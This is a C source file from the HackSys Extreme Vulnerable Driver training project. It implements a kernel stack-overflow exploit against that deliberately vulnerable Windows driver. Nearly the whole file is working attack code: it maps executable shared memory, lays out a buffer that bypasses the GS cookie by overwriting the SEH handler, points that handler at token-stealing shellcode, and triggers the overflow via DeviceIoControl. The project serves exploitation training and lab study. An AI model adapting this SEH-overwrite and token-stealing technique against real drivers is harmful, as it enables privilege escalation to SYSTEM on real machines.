hacksysteam-HackSysExtremeVulnerableDriver/Exploit/Source/StackOverflowGS.c

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        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    StackOverflowGS.c

Abstract:
    This module implements the exploit for Stack Overflow 
    Vulnerability protected by GS cookies implemented in 
    HackSys Extreme Vulnerable Driver.

--*/

#include "StackOverflowGS.h"

DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) {
    HANDLE hFile = NULL;
    DWORD lpBytesReturned;
    SIZE_T pageSize = 0x1000;
    HANDLE hSharedmemory = NULL;
    PVOID pMemoryAddress = NULL;
    PVOID pSuitableMemoryForBuffer = NULL;
    SIZE_T seHandlerOverwriteOffset = 0x214;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    LPVOID lpSharedMappedMemoryAddress = NULL;
    PVOID pEopShellcode = &TokenStealingShellcodeGSWin7;
    LPCTSTR lpSharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Creating Shared Memory\n");

        // create the shared memory
        hSharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
                                          NULL,
                                          PAGE_EXECUTE_READWRITE,
                                          0,
                                          pageSize,
                                          lpSharedMemoryName);

        if (!hSharedmemory) {
            DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", hSharedmemory);
        }

        DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");

        // Map the shared memory in the process space of this process
        lpSharedMappedMemoryAddress = MapViewOfFile(hSharedmemory,
                                                    FILE_MAP_ALL_ACCESS,
                                                    0,
                                                    0,
                                                    pageSize);

        if (!lpSharedMappedMemoryAddress) {
            DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", lpSharedMappedMemoryAddress);
        }

        pSuitableMemoryForBuffer = (PVOID)((ULONG)lpSharedMappedMemoryAddress + 
                                           (ULONG)(pageSize - seHandlerOverwriteOffset));

        DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", pSuitableMemoryForBuffer);

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        RtlFillMemory(lpSharedMappedMemoryAddress, pageSize, 0x41);

        pMemoryAddress = (PVOID)((ULONG)pSuitableMemoryForBuffer + 0x204);
        *(PULONG)pMemoryAddress = 0x42424242;            // overwrite xor'ed cookie

        DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)pMemoryAddress);
        DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", pMemoryAddress);

        pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
        *(PULONG)pMemoryAddress = 0x43434343;            // junk

        pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
        *(PULONG)pMemoryAddress = 0x44444444;            // Next SE handler

        DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress);
        DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", pMemoryAddress);

        pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
        *(PULONG)pMemoryAddress = (ULONG)pEopShellcode;  // SE Handler

        DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress);
        DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", pMemoryAddress);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,
                        (LPVOID)pSuitableMemoryForBuffer,
                        (DWORD)seHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}